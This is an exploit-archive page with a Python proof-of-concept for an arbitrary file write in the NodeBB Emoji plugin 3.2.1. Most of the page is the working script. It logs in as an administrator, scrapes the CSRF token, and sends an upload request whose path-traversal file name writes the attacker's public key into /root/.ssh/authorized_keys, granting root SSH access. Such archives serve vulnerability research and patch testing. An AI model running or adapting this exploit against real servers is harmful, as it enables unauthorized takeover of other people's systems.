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NodeBB Emoji 3.2.1 Arbitrary FIle Write

NodeBB Emoji 3.2.1 Arbitrary FIle Write
Posted Apr 29, 2021
Authored by 1F98D

NodeBB Emoji plugin version 3.2.1 suffers from an arbitrary file write vulnerability.

tags | exploit, arbitrary
MD5 | 49005c6dc65d4c7b995ca019f2d8b491

NodeBB Emoji 3.2.1 Arbitrary FIle Write

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# Exploit Title: NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write
# Date: 2021-02-01
# Exploit Author: 1F98D
# Software Link: https://nodebb.org/
# Version: Emoji for NodeBB <= v3.2.1
# Tested on: Ubuntu 18.04 (x86)
# Software Link: https://github.com/NodeBB/nodebb-plugin-emoji
#
# The Emoji for NodeBB which is installed by default contains an
# arbitrary file write vulnerability to insecurely handled user controlled
# input.
#
# This exploit requires administrative access to the NodeBB instance in order
# to access the emoji upload API.
#
#!/usr/bin/python3
import requests
import sys
import re
TARGET = 'http://192.168.1.1:4567'
USERNAME = 'admin'
PASSWORD = 'password'
DESTINATION_FILE = '/root/.ssh/authorized_keys'
SOURCE_FILE = '/home/kali/.ssh/id_rsa.pub'
headers = { 'User-Agent': 'NotPython' }
s = requests.Session()
r = s.get('{}/login'.format(TARGET), headers=headers)
if r.status_code != 200:
print('[!] Error, {}/login unavailable'.format(TARGET))
sys.exit(1)
csrf = re.search('name="_csrf" value="(.+)?" />', r.text, re.IGNORECASE)
if csrf is None:
print('[!] Could not extract csrf token to proceed.')
sys.exit(1)
auth = {
'username': USERNAME,
'password': PASSWORD,
'_csrf': csrf.group(1)
}
r = s.post('{}/login'.format(TARGET), headers=headers, data=auth)
if r.status_code != 200:
print('[!] Error, login failed')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Login successful')
r = s.get('{}/admin/plugins/emoji'.format(TARGET), headers=headers)
if r.status_code != 200:
print('[!] Error, could not access emoji plugin')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Emoji plugin is installed')
files = {
'emojiImage': open(SOURCE_FILE)
}
data = {
'fileName': '../../../../../../..{}'.format(DESTINATION_FILE)
}
r = s.post('{}/api/admin/plugins/emoji/upload'.format(TARGET), headers=headers, data=data, files=files)
if r.status_code != 200:
print('[!] Error, could not upload file')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Successfully uploaded file')

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